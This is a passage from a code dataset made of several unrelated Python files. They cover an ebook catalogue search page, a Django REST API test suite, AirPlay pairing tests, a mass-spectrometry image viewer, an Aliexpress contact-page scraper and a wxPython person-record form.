os.query)\n\n\nclass AuthorPage (SearchPage):\n \"\"\" author id => books by author \"\"\"\n\n def setup (self, os, sql):\n os.sort_orders = ('downloads', 'title', 'release_date')\n os.title_icon = 'author'\n os.icon = 'book'\n os.class_ += 'booklink'\n os.f_format_icon = os.format_icon_titles\n os.author = BaseSearcher.sql_get (\n \"select author from authors where pk = %(pk)s\", pk = os.id)\n os.title = _('Books by {author}').format (author = os.author)\n\n sql.from_.append ('mn_books_authors as mn')\n sql.where.append ('books.pk = mn.fk_books')\n sql.where.append (\"mn.fk_authors = %(fk_authors)s\")\n sql.params['fk_authors'] = os.id\n\n def fixup (self, os):\n\n if (os.start_index == 1 and len (os.entries) > 1):\n\n # browse-by-author page for maintainers\n if 'is-catalog-maintainer' in cherrypy.request.cookie:\n cat = BaseSearcher.Cat ()\n cat.type = mt.html\n cat.rel = 'related'\n cat.title = _('Browse by Author')\n cat.url = \"/browse/authors/%s#a%d\" % (os.author[:1].lower (), os.id)\n cat.class_ += 'navlink grayed'\n cat.icon = 'internal'\n cat.order = 9\n os.entries.insert (0, cat)\n\n # wikipedia links etc.\n rows = BaseSearcher.SQLSearcher.execute (\n \"\"\"SELECT url, description AS title FROM author_urls\n WHERE fk_authors = %(fk_authors)s\"\"\",\n { 'fk_authors': os.id } )\n for row in rows:\n cat = BaseSearcher.Cat ()\n cat.type = mt.html\n cat.rel = 'related'\n cat.title = _('See also: {title}').format (title = row.title)\n cat.url = row.url\n cat.class_ += 'navlink grayed'\n cat.icon = 'external'\n cat.order = 8\n os.entries.insert (0, cat)\n\n # author aliases\n if os.format in ('html', 'mobile'):\n rows = BaseSearcher.SQLSearcher.execute (\n \"\"\"SELECT alias AS title FROM aliases\n WHERE fk_authors = %(fk_authors)s AND alias_heading = 1\"\"\",\n { 'fk_authors': os.id }\n )\n\n for row in rows:\n cat = BaseSearcher.Cat ()\n cat.title = _('Alias {alias}').format (alias = row.title)\n cat.class_ += 'grayed'\n cat.icon = 'alias'\n cat.order = 7\n os.entries.insert (0, cat)\n\n\nclass SubjectPage (SearchPage):\n \"\"\" subject id => books about subject \"\"\"\n\n def setup (self, os, sql):\n os.sort_orders = ('downloads', 'title', 'release_date')\n os.title_icon = 'subject'\n os.icon = 'book'\n os.class_ += 'booklink'\n os.f_format_icon = os.format_icon_titles\n os.subject = BaseSearcher.sql_get (\n \"select subject from subjects where pk = %(pk)s\", pk = os.id)\n os.title = _('Books about {subject}').format (subject = os.subject)\n\n sql.from_.append ('mn_books_subjects as mn')\n sql.where.append ('books.pk = mn.fk_books')\n sql.where.append (\"mn.fk_subjects = %(fk_subjects)s\")\n sql.params['fk_subjects'] = os.id\n\n\nclass BookshelfPage (SearchPage):\n \"\"\" bookshelf id => books on bookshelf \"\"\"\n\n def setup (self, os, sql):\n os.sort_orders = ('downloads', 'title', 'release_date')\n os.title_icon = 'bookshelf'\n os.icon = 'book'\n os.class_ += 'booklink'\n os.f_format_icon = os.format_icon_titles\n os.bookshelf = BaseSearcher.sql_get (\n \"select bookshelf from bookshelves where pk = %(pk)s\", pk = os.id)\n os.title = _('Books in {bookshelf}').format (bookshelf = os.bookshelf)\n\n sql.from_.append ('mn_books_bookshelves as mn')\n sql.where.append ('books.pk = mn.fk_books')\n sql.where.append (\"mn.fk_bookshelves = %(fk_bookshelves)s\")\n sql.params['fk_bookshelves'] = os.id\n\n\nclass AlsoDownloadedPage (SearchPage):\n \"\"\" ebook id => books people also downloaded \"\"\"\n\n def setup (self, os, sql):\n os.sort_orders = ('downloads', )\n os.icon = 'book'\n os.class_ += 'booklink'\n os.f_format_icon = os.format_icon_titles\n os.title = _('Readers also downloaded')\n\n sql.query = \"\"\"\n SELECT\n books.pk,\n books.title,\n books.filing,\n books.author,\n books.release_date,\n books.fk_categories,\n books.fk_langs,\n books.coverpages,\n d.dl as downloads\n FROM\n v_appserver_books_4 as books\n JOIN (\n SELECT\n s1.fk_books as pk, count (s1.id) as dl\n FROM\n scores.also_downloads as s1,\n scores.also_downloads as s2\n WHERE s2.fk_books = %(fk_books)s\n AND s1.fk_books != %(fk_books)s\n AND s1.id = s2.id\n GROUP BY s1.fk_books) as d\n ON d.pk = books.pk\"\"\"\n sql.from_ = ()\n sql.params['fk_books'] = os.id\n\n\n def finalize (self, os):\n # one page is enough\n os.show_next_page_link = False\n","sub_path":"SearchPage.py","file_name":"SearchPage.py","file_ext":"py","file_size_in_byte":14240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"91411641","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom datetime import datetime, timedelta\nfrom sortedcontainers import SortedList\n\nfrom .games import games\nfrom .streams import streams\nfrom ..utils import load_json\n\n\nclass Category:\n @staticmethod\n def from_dict(data, games=[]):\n self = Category(**data)\n\n for game in games.copy():\n if self.code == game.category:\n if not game.type:\n self.games.add(game)\n elif game.type == 'list':\n self.games.update(game.streams)\n\n games.remove(game)\n\n return self\n\n def __init__(self, **kwargs):\n def attr(key, default=None):\n setattr(self, key, kwargs.get(key, default))\n\n for key in ['name', 'code', 'description', 'split_by_year', 'search']:\n attr(key)\n\n attr('level', 2)\n\n self.games = SortedList(key=lambda x: x.date)\n\n\nclass Categories(dict):\n def __init__(self, data):\n if type(data) is not list:\n raise TypeError\n\n uncategorized = games.copy()\n\n for category in data:\n if category['code'] == 'recent':\n c = Category.from_dict(category)\n last_segments = list(streams.segments)[-10:]\n\n for segment in last_segments:\n c.games.add(segment.reference())\n else:\n c = Category.from_dict(category, games=uncategorized)\n\n self[c.code] = c\n\n month_ago = datetime.now() - timedelta(days=30)\n \n if 'ongoing' in self and 'abandoned' in self:\n for game in self['ongoing'].games.copy():\n if game.streams[-1].date < month_ago:\n self['ongoing'].games.remove(game)\n self['abandoned'].games.add(game)\n\n if len(uncategorized) > 0:\n names = [f'{game.name} ({game.category})'\n for game in uncategorized]\n raise(AttributeError('Invalid category in ' + ', '.join(names)))\n\n\ncategories = Categories(load_json('data/categories.json'))","sub_path":"templates/data/categories.py","file_name":"categories.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"529594466","text":"\"\"\"Functional pairing tests using the API with a fake AirPlay Apple TV.\"\"\"\n\nfrom aiohttp.test_utils import (AioHTTPTestCase, unittest_run_loop)\n\nimport pyatv\nfrom pyatv import const\nfrom pyatv.conf import (AirPlayService, AppleTV)\nfrom tests.airplay.fake_airplay_device import (\n FakeAirPlayDevice, AirPlayUseCases, DEVICE_CREDENTIALS, DEVICE_PIN)\n\n\nclass PairFunctionalTest(AioHTTPTestCase):\n\n def setUp(self):\n AioHTTPTestCase.setUp(self)\n self.pairing = None\n\n self.service = AirPlayService(\n 'airplay_id', credentials=DEVICE_CREDENTIALS,\n port=self.server.port)\n self.conf = AppleTV('127.0.0.1', 'Apple TV')\n self.conf.add_service(self.service)\n\n async def tearDownAsync(self):\n await self.pairing.close()\n await super().tearDownAsync()\n\n async def get_application(self, loop=None):\n self.fake_atv = FakeAirPlayDevice(self)\n self.usecase = AirPlayUseCases(self.fake_atv)\n return self.fake_atv.app\n\n async def initiate_pairing(self):\n self.usecase.airplay_require_authentication()\n\n options = {}\n\n self.pairing = await pyatv.pair(\n self.conf, const.PROTOCOL_AIRPLAY, self.loop, **options)\n\n @unittest_run_loop\n async def test_pairing_with_device(self):\n await self.initiate_pairing()\n\n self.assertTrue(self.pairing.device_provides_pin)\n\n await self.pairing.begin()\n self.pairing.pin(DEVICE_PIN)\n\n self.assertFalse(self.pairing.has_paired)\n\n await self.pairing.finish()\n self.assertTrue(self.pairing.has_paired)\n self.assertEqual(self.service.credentials, DEVICE_CREDENTIALS)\n","sub_path":"tests/airplay/test_airplay_pair.py","file_name":"test_airplay_pair.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"341001176","text":"\"\"\"URLs to run the tests.\"\"\"\nfrom django.conf.urls import include, url\nfrom django.contrib import admin\n\n\nadmin.autodiscover()\n\nurlpatterns = [\n url(r'^admin/', include(admin.site.urls)),\n url(r'^careers/', include('careers.urls')),\n url(r'^markdown/', include('django_markdown.urls')),\n]\n","sub_path":"careers/tests/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"161596326","text":"from AI_physicist.theory_learning.util_theory import get_mystery\nimport datetime\n\n\nclass Options(object):\n def __init__(self):\n ########################################\n # Setting up path to dataset files. The data files are CSV_DIRNAME + env_name + \".csv\",\n # where env_name are elements in the csv_filename_list. For each csv file, the first\n # (num_output_dims * num_input_steps) columns are the past (E.g., if num_output_dims=2, then\n # they are arranged as (x_{t-num_input_steps}, y_{t-num_input_steps}, ... x_{t-1}, y_{t-1}) ).\n # The next num_output_dims columns are the target prediction for the future.\n # If is_classified = True, the last column in the csv should provide the true_domain id for evaluating\n # whether the domain prediction is correct (not used for training)\n ########################################\n self.is_classified = True # If True, the last column in the csv file should provide the true_domain id for\n # evaluation.\n self.csv_filename_list = get_mystery(\n 50000, range(4, 7), range(1, 6), self.is_classified) + get_mystery(\n 50000, [20], range(1, 6), self.is_classified) + get_mystery(50000, range(7, 11), range(1, 6),\n self.is_classified)\n self.num_output_dims = 2 # It sets the dimension of output\n self.num_input_steps = 2 # It sets the number of steps for the input\n self.exp_mode = \"continuous\" # Choose from \"continuous\" (full AI Physicist), \"newb\" (newborn) and \"base\" (\n # baseline)\n self.forward_steps = 1 # Number of forward steps to predict\n self.data_format = \"states\" # Choose from \"states\" or \"images\"\n self.pred_nets_activation = \"linear\" # Activation for the prediction function f. Choose from \"linear\",\n # \"leakyRelu\"\n self.num_layers = 3 # Number of layers for the prediction function f.\n\n self.num_theories_init = 4 # Number of theories to start with.\n self.add_theory_loss_threshold = 2e-6 # MSE threshold for individual data points above which to add a new\n # theory to fit.\n self.add_theory_criteria = (\"loss_with_domain\",\n 0) # Criteria and threshold of loss increase to determine whether to accept adding the theory.\n self.add_theory_quota = 1 # maximum number of theories to add at each phase.\n self.add_theory_limit = None # maximum allowed number of theories. If None, do not set limit.\n\n self.is_Lagrangian = False # If True, learn the Lagrangian. If False, learn Equation of Motion (EOM).\n self.load_previous = True # Whether to load previously trained instances on\n\n # Other settings:\n self.exp_id = \"exp1.0\"\n self.env_source = \"file\"\n self.pred_nets_neurons = 8\n self.domain_net_neurons = 8\n self.domain_pred_mode = \"onehot\"\n self.mse_amp = 1e-7\n self.scheduler_settings = (\"ReduceLROnPlateau\", 40, 0.1) # Settings for the learning rate scheduler\n # scheduler_settings = (\"LambdaLR\", \"exp\", 2, False) # Settings for the learning rate scheduler\n self.simplify_criteria = (\"DLs\", 0, 3,\n \"relative\") # The (criteria type, threshold, patience, compare_mode) upon which not satisfied, we break the current simplification and continue to the next layer/model\n self.optim_type = (\"adam\", 5e-3)\n self.optim_domain_type = (\"adam\", 1e-3)\n self.optim_autoencoder_type = (\"adam\", 1e-5, 1e-1) # optim_type, lr, loss_scale\n self.reg_mode = \"L1\"\n self.reg_amp = 1e-8\n self.reg_smooth = None\n self.reg_domain_mode = \"L1\"\n self.reg_domain_amp = 1e-5\n self.batch_size = 10000\n self.loss_core = \"DLs\"\n self.loss_order = -1\n self.loss_decay_scale = None\n self.is_mse_decay = False\n self.num_examples = 20000\n self.epochs = 10000\n self.iter_to_saturation = int(self.epochs / 2)\n self.MDL_mode = \"both\"\n self.date_time = \"{0}-{1}\".format(datetime.datetime.now().month, datetime.datetime.now().day)\n self.seed = 0\n self.array_id = \"0\"\n\n self.loss_balance_model_influence = False\n self.loss_success_threshold = 1e-4 # MSE level you regard as success\n self.theory_add_mse_threshold = 0.05 # MSE level below which you will add to the theory hub\n self.theory_remove_fraction_threshold = 0.005 # Fraction threshold below which you will remove a theory after each stage of training.\n self.matching_numerical_tolerance = 2e-4 # The tolerance below which you regard the numerical coefficient matches.\n self.matching_snapped_tolerance = 1e-9 # The tolerance below which you regard the snapped coefficient matches.\n self.max_trial_times = 1 # Maximum number of trial times before going on to next target (DEFAULT=1)\n self.is_simplify_model = True # Whether to perform simplification of theory models\n self.is_simplify_domain = False # Whether to perform simplification of theory domains\n self.record_mode = 2 # Record data mode. Choose from 0 (minimal recording), 1, 2 (record everything)\n self.show_3D_plot = False\n self.show_vs = False\n self.big_domain_dict = [\n (key, [1, 2]) for key in get_mystery([\n 20000, 30000, 40000, 50000], range(4, 7), range(11))] + [(key, [1, 2]) for key in get_mystery(\n [40000, 50000], [20], range(11))] + [(key, [1, 2, 3]) for key in get_mystery(\n [20000, 30000, 40000, 50000], range(7, 10), range(11))] + [\n (key, [1, 2, 3, 4]) for key in get_mystery(\n [20000, 30000, 40000, 50000], [10], range(11))]\n self.big_domain_dict = {key: item for key, item in self.big_domain_dict}\n\n # Settings for data_format = \"images\":\n if self.data_format == \"images\":\n self.batch_size = 100\n self.epochs = 10000\n self.loss_core = \"mse\"\n self.add_theory_quota = 0\n self.is_simplify_model = False\n self.is_simplify_domain = False\n\n # Settings for Lagrangian:\n if self.is_Lagrangian:\n self.num_input_steps = 3\n self.is_simplify_model = False\n\n self.is_pendulum = False\n","sub_path":"theory_learning/options.py","file_name":"options.py","file_ext":"py","file_size_in_byte":6520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"444952356","text":"def unsorted_subarray(array):\n #\n \"\"\"\n \"\"\"\n start, end = None, None\n current_min, current_max = None, None\n\n # Iterate through items\n for i in range(len(array) - 1):\n # Compare adjacent items and fill values if unsorted\n if start is None and end is None and array[i] > array[i + 1]:\n start = i\n end = i + 1\n current_min = array[i]\n current_max = array[i + 1]\n\n # If next item is smaller than current_min, need to sort to that point\n if current_min and array[i + 1] < current_min:\n end = i + 1\n current_min = array[i + 1]\n\n # If next item is smaller than current_max, need to sort to that point\n if current_max and array[i + 1] < current_max:\n end = i + 1\n\n # If next item is larger than current_max, update current_max\n if current_max and array[i + 1] > current_max:\n current_max = array[i + 1]\n\n return end - start + 1\n\n\nif __name__ == \"__main__\":\n print(unsorted_subarray([2, 6, 4, 8, 10, 9, 15]))\n","sub_path":"2020/a0581_unsorted_subarray.py","file_name":"a0581_unsorted_subarray.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"359655091","text":"# unit test, new blank database\n\nfrom rest_framework.test import APITestCase\nfrom django.contrib.auth import get_user_model\nfrom article.models import Article\nfrom rest_framework.reverse import reverse as api_reverse\nfrom rest_framework import status\nfrom rest_framework_jwt.settings import api_settings\nfrom django.test import Client\n\npayload_handler = api_settings.JWT_PAYLOAD_HANDLER\nencode_handler = api_settings.JWT_ENCODE_HANDLER\n\n\n\nUser = get_user_model()\n\nclass ArticleAPITestCase(APITestCase):\n def setUp(self):\n user = User(username='bdvuong', email='bdvuong@gmail.com')\n password = user.set_password('bdvuong1997')\n username = user.username\n user.save()\n\n # self.client = Client()\n # self.client.login(username=username, password=password)\n\n article = Article.objects.create(author= user,\n title='Original testing recipe',\n description='Original description',\n ingredient='Original ingres',)\n\n\n def test_single_user(self):\n user_count = User.objects.count()\n self.assertEqual(user_count, 1)\n\n\n def test_single_article(self):\n article_count = Article.objects.count()\n self.assertEqual(article_count, 1)\n\n # test the get list\n def test_get_list(self):\n data = {}\n url = api_reverse('article-api:article-listcreate')\n response = self.client.get(url, data, format='json')\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n #print(response.data)\n\n # test the post method\n def test_post_item(self):\n data = {\n 'title': 'New title',\n 'description':'New stuff',\n 'ingredient': 'New ingredient',\n }\n url = api_reverse('article-api:article-listcreate')\n response = self.client.post(url, data, format='json')\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n print(response.data)\n # somehow giving not authentication were not provided, even in the below with JWT this error occur again\n\n # get individual item\n def test_get_item(self):\n article = Article.objects.first()\n data = {}\n url = article.get_api_url()\n response = self.client.get(url, data, format='json')\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n #print(response.data)\n\n #\n # # Test update and post at this endpoint without authentication\n # def test_update_item(self):\n # article = Article.objects.first()\n # url = article.get_api_url()\n # data = {\n # 'title': 'New title',\n # 'description': 'More New stuff',\n # 'ingredient': 'More new ingredient',\n # }\n # response = self.client.post(url, data, format='json')\n # self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)\n # # Method not allowed expected because we cannot post at this endpoint\n # #print(response.data)\n # response = self.client.put(url, data, format='json')\n # self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n # #print(response.data)\n #\n #\n # # Test with authentication thru JWT\n # def test_update_item_with_user(self):\n # article = Article.objects.first()\n # print(article.description)\n # url = article.get_api_url()\n # data = {\n # 'title': 'New title',\n # 'description': 'More New stuff',\n # 'ingredient': 'More new ingredient',\n # }\n # user = User.objects.first()\n # payload = payload_handler(user)\n # token_response = encode_handler(payload)\n # self.client.credentials(HTTP_AUTHORIZATION='JWT' + token_response) # setting JWT token headers, JWT <token>\n # #print(token_response)\n # response = self.client.put(url, data, format='json')\n # self.assertEqual(response.status_code, status.HTTP_200_OK)\n # print(response.data)\n\n # def test_post_item_with_user(self):\n # article = Article.objects.first()\n # #print(article.description)\n # data = {\n # 'title': 'New title',\n # 'description': 'More New stuff',\n # 'ingredient': 'More new ingredient',\n # }\n # user = User.objects.first()\n # payload = payload_handler(user)\n # token_response = encode_handler(payload)\n # self.client.credentials(HTTP_AUTHORIZATION='JWT' + token_response) # setting JWT token headers, JWT <token>\n # print(token_response)\n # url = article.get_api_url()\n # response = self.client.put(url, data, format='json')\n # self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n # print(response.data)\n","sub_path":"Blog/article/api/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":4858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"486371327","text":"\"\"\"\nVery basic 2D viewer, allowing to pick pixels\nand select m/z\n\"\"\"\n\nimport argparse\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nimport esmraldi.imzmlio as imzmlio\nfrom esmraldi.spectralviewer import SpectralViewer\n\ndef onclick(event):\n x,y = int(event.xdata), int(event.ydata)\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-i\", \"--input\", help=\"Input ITK image or imzML file\")\nparser.add_argument(\"--memmap\", help=\"Create and read a memmap file\", action=\"store_true\")\n\nargs = parser.parse_args()\n\ninputname = args.input\nis_memmap = args.memmap\n\n\nif inputname.lower().endswith(\".imzml\"):\n memmap_dir = os.path.dirname(inputname) + os.path.sep + \"mmap\" + os.path.sep\n memmap_basename = os.path.splitext(os.path.basename(inputname))[0]\n memmap_image_filename = memmap_dir + memmap_basename + \".npy\"\n memmap_spectra_filename = memmap_dir + memmap_basename + \"_spectra.npy\"\n memmap_files_exist = (os.path.exists(memmap_dir)\n and os.path.exists(memmap_image_filename)\n and os.path.exists(memmap_spectra_filename))\n\n if is_memmap and memmap_files_exist:\n print(\"Reading from memmap\")\n spectra = np.load(memmap_spectra_filename, mmap_mode=\"r\")\n image = np.load(memmap_image_filename, mmap_mode=\"r\")\n else:\n imzml = imzmlio.open_imzml(inputname)\n mz, I = imzml.getspectrum(0)\n spectra = imzmlio.get_full_spectra(imzml)\n max_x = max(imzml.coordinates, key=lambda item:item[0])[0]\n max_y = max(imzml.coordinates, key=lambda item:item[1])[1]\n max_z = max(imzml.coordinates, key=lambda item:item[2])[2]\n image = imzmlio.get_images_from_spectra(spectra, (max_x, max_y, max_z))\n\n if is_memmap:\n os.makedirs(memmap_dir, exist_ok=True)\n np.save(memmap_image_filename, image)\n np.save(memmap_spectra_filename, spectra)\n\nprint(image)\nif len(image.shape) == 4:\n image = image[0, ...]\n\nimage = image.transpose((1, 0, 2))\nprint(spectra.shape)\nfig, ax = plt.subplots(3, 1)\ntracker = SpectralViewer(ax, image, spectra)\nfig.canvas.mpl_connect('button_press_event', tracker.onclick)\nplt.show()\n","sub_path":"examples/2D_viewer.py","file_name":"2D_viewer.py","file_ext":"py","file_size_in_byte":2187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"582401396","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# SPDX-License-Identifier: Apache-2.0\n\"\"\"\nPython Package for controlling Alexa devices (echo dot, etc) programmatically.\n\nFor more details about this api, please refer to the documentation at\nhttps://gitlab.com/keatontaylor/alexapy\n\"\"\"\ntry:\n from importlib_metadata import version\nexcept ModuleNotFoundError:\n from importlib.metadata import version\nfrom .alexaapi import AlexaAPI\nfrom .alexalogin import AlexaLogin\nfrom .alexawebsocket import WebsocketEchoClient\nfrom .errors import (\n AlexapyConnectionError,\n AlexapyLoginCloseRequested,\n AlexapyLoginError,\n)\nfrom .helpers import hide_email, hide_serial, obfuscate\n\n__version__ = version(\"alexapy\")\n\n__all__ = [\n \"AlexaLogin\",\n \"AlexaAPI\",\n \"AlexapyConnectionError\",\n \"AlexapyLoginCloseRequested\",\n \"AlexapyLoginError\",\n \"WebsocketEchoClient\",\n \"hide_email\",\n \"hide_serial\",\n \"obfuscate\",\n \"__version__\",\n]\n","sub_path":"alexapy/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"638781501","text":"#coding:utf-8\n__author__ = '613108'\n\nimport sys,csv,urllib2,re\nreload(sys)\nsys.setdefaultencoding('utf-8')\nsys.path.append(r'C:\\Users\\613108\\Desktop\\Project\\Vertical_ecommerce_project\\VIP_project')\nsys.path.append(r'C:\\Users\\613108\\Desktop\\Project\\tool_self\\Tool_self')\nimport get_phone_search,My_Csv,list_split\nfrom Queue import Queue\nfrom threading import Thread\nfrom bs4 import BeautifulSoup\n\nclass Get_contact_detail(Thread):\n def __init__(self,href_list):\n Thread.__init__(self)\n self.href_list=href_list\n\n def get_info(self):\n send_headers = {\n 'Referer':'www.alibaba.com',\n 'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',\n 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'Connection':'keep-alive'\n }\n pat=re.compile(r'\\n')\n for url in self.href_list:\n try:\n r=urllib2.Request(url=url[1],headers=send_headers)\n res=urllib2.urlopen(r)\n result=res.read()\n res.close()\n soup=BeautifulSoup(result,from_encoding='utf-8')\n frame=soup.find(attrs={'class':'m-content'})\n name=frame.find(attrs={'class':'name'}).text\n name=re.sub(pat,'',name)\n try:department=frame.find(attrs={'class':'dl-horizontal'}).dd.text\n except:department='-'\n sec_frame=frame.find(attrs={'class':'contact-detail'})\n sec_frames=sec_frame.find_all(re.compile(r'd.+?'))[1:]\n tel_phone='-';address='-';province='-';city='-';mobile_phone='-';fax_num='-'\n for i in range(len(sec_frames)):\n if sec_frames[i].text=='Telephone:':\n tel_phone=sec_frames[i+1].contents[0]\n elif sec_frames[i].text=='Address:':\n address=sec_frames[i+1].contents[0]\n elif sec_frames[i].text=='Province/State:':\n province=sec_frames[i+1].contents[0]\n elif sec_frames[i].text=='City:':\n city=sec_frames[i+1].contents[0]\n elif sec_frames[i].text=='Mobile Phone:':\n mobile_phone=sec_frames[i+1].contents[0]\n elif sec_frames[i].text=='Fax:':\n fax_num=sec_frames[i+1].contents[0]\n else:continue\n result=[url[0],url[1],name,department,tel_phone,mobile_phone,fax_num,address,province,city]\n queue_for_result.put(result)\n print(result)\n except:\n print('*'*20+u'程序运行失误，已跳过'+'*'*20+url[1])\n\n def run(self):\n self.get_info()\n\nif __name__=='__main__':\n file_name='d:/spider/aliexpress/aliexpress_contact_href_2015-08-06.csv'\n href_temp=[]\n queue_for_result=Queue(0)\n with open(file_name,'r') as csv_file:\n reader=csv.reader(csv_file)\n for row in reader:\n href_temp.append(row)\n href_temp=href_temp[1:]\n href_temp_2=list_split.list_split(href_temp,2)\n Get_contact_detail_thread=[]\n for item in href_temp_2:\n Get_contact_detail_thread.append(Get_contact_detail(item))\n for item in Get_contact_detail_thread:\n item.start()\n for item in Get_contact_detail_thread:\n item.join()\n\n data=[]\n for i in range(queue_for_result.qsize()):\n data.append(queue_for_result.get())\n title=['shop_name','contact_page_href','contact_name','department','tel_phone','mobile_phone','fax_num','address','province','city']\n writer=My_Csv.Write_Csv(path='D:/spider/aliexpress',name='aliexpress_contact_detail',title=title,result=data)\n writer.add_title_data()\n print('*'*20+u'程序运行完毕，请检查数据'+'*'*20)\n","sub_path":"Aliexpress_project/contact_detail.py","file_name":"contact_detail.py","file_ext":"py","file_size_in_byte":3860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"280051075","text":"\nimport datetime\nimport wx\nimport wx.adv\nfrom desk.base.panels import *\nfrom desk.base.models import ValidationError\nfrom desk.persona.models import Persona\nfrom fuente.var import *\n\n\n\nclass PersonaPanel(wx.Panel):\n \"\"\"\n Panel de vista para el personas.\n \"\"\"\n def __init__(self, *args, **kwargs):\n \n wx.Panel.__init__(self, *args, **kwargs)\n self.model = Persona()\n\n # Controles\n self.nb1 = wx.Notebook(self, -1, name=\"notebook1\")\n self.panel1 = ListPanel(self.nb1, 1, name=\"persona_list\")\n self.panel2 = DetailPanel(self.nb1, 2, name=\"persona_detail\")\n\n # Eventos\n self.Bind(wx.EVT_BUTTON, self.OnAdd, self.panel1.button3)\n self.Bind(wx.EVT_LIST_ITEM_ACTIVATED, self.OnEdit, self.panel1.lc1)\n\n # Inicializacion\n self.__set_properties()\n self.__do_layout()\n\n def __set_properties(self):\n self.panel1.SetImageList(\"persona\", 24)\n self.panel1.SetColumns(todas=False, model=self.model)\n self.panel1.SetItems(self.model.GetQueryset())\n \n def __do_layout(self):\n s1 = wx.BoxSizer(wx.VERTICAL)\n self.nb1.AddPage(self.panel1, \"Listado\")\n self.nb1.AddPage(self.panel2, \"Detalle\")\n s1.Add(self.nb1, 1, wx.EXPAND|wx.ALL, 0)\n self.SetSizer(s1)\n self.Layout()\n\n def OnAdd(self, event):\n dlg = BaseDialog(self, -1, \"Agregar persona\", style=wx.RESIZE_BORDER|wx.DEFAULT_DIALOG_STYLE)\n dlg.SetPanel(PersonaFormPanel(dlg, -1))\n if (dlg.ShowModal() == wx.ID_OK):\n self.SetItems()\n event.Skip()\n\n def OnEdit(self, event):\n i = self.panel1.lc1.GetFirstSelected()\n id = self.panel1.lc1.GetItem(i, 0).GetText()\n\n dlg = BaseDialog(self, -1, \"Modificar persona\", style=wx.RESIZE_BORDER|wx.DEFAULT_DIALOG_STYLE)\n dlg.SetPanel(PersonaFormPanel(dlg, -1, selection=id))\n if (dlg.ShowModal() == wx.ID_OK):\n self.SetItems()\n event.Skip()\n\n def SetItems(self, fieldname=\"\", fieldvalue=\"\", todas=False):\n self.panel1.SetColumns(self.model)\n self.panel1.SetItems(self.model.GetQueryset(fieldname=fieldname, fieldvalue=fieldvalue, todas=todas))\n \n\n\n\n\nclass PersonaFormPanel(wx.Panel):\n \"\"\"\n Formulario para creación y modificación de personas.\n \"\"\"\n def __init__(self, *args, **kwargs):\n\n try:\n self.selection = kwargs.pop(\"selection\")\n except (KeyError):\n self.selection = None\n self.model = Persona()\n self.model.New()\n else:\n self.model = Persona().Select(fieldname=\"id\", fieldvalue=self.selection)\n\n wx.Panel.__init__(self, *args, **kwargs)\n\n # Controles\n self.id = wx.TextCtrl(self, -1, name=\"id\", size=(120, -1), style=wx.TE_READONLY)\n self.identificacion = wx.TextCtrl(self, -1, name=\"identificacion\", size=(150, -1))\n self.identificacion_type = wx.ComboBox(self, -1, name=\"identificacion_type\", choices=list(dict(IDENTIFICACION_CHOICES).keys()), style=wx.CB_READONLY)\n self.nombre = wx.TextCtrl(self, -1, name=\"nombre\", size=(300, -1))\n self.razon_social = wx.TextCtrl(self, -1, name=\"razon_social\", size=(300, -1))\n self.nacimiento = wx.adv.DatePickerCtrl(self, id=-1, style=wx.adv.DP_ALLOWNONE)\n self.email = wx.TextCtrl(self, -1, name=\"email\", size=(200, -1))\n self.telefono = wx.TextCtrl(self, -1, name=\"telefono\", size=(150, -1))\n self.direccion = wx.TextCtrl(self, -1, name=\"direccion\", style=wx.TE_MULTILINE, size=(300, 50))\n self.es_suplidor = wx.CheckBox(self, -1, \"\")\n self.imagen_perfil = wx.BitmapButton(self, -1, size=(128, 128), bitmap=wx.Bitmap(GETIMG(\"persona\", 128)))\n\n self.button_save = wx.Button(self, wx.ID_SAVE, \"Guardar\")\n self.button_cancel = wx.Button(self, wx.ID_CANCEL, \"Cancelar\")\n\n # Eventos.\n self.Bind(wx.EVT_BUTTON, self.OnSave, id=wx.ID_SAVE)\n\n self.__do_layout()\n self.__set_properties()\n\n if (self.model):\n self.SetValues()\n \n\n def __set_properties(self):\n # Propiedades de las fields.\n self.identificacion.SetMaxLength(20)\n self.nombre.SetMaxLength(100)\n self.razon_social.SetMaxLength(100)\n self.email.SetMaxLength(100)\n self.telefono.SetMaxLength(20)\n self.direccion.SetMaxLength(256)\n\n # Establecemos las propiedades.\n for field in self.model.GetFields(todas=True):\n try:\n ctrl = getattr(self, field.name)\n ctrl.SetSize((500, -1))\n except (AttributeError) as e:\n print(e)\n continue\n \n def __do_layout(self):\n s1 = wx.BoxSizer(wx.VERTICAL)\n\n s2 = wx.FlexGridSizer(cols=2, vgap=5, hgap=10)\n\n for field in 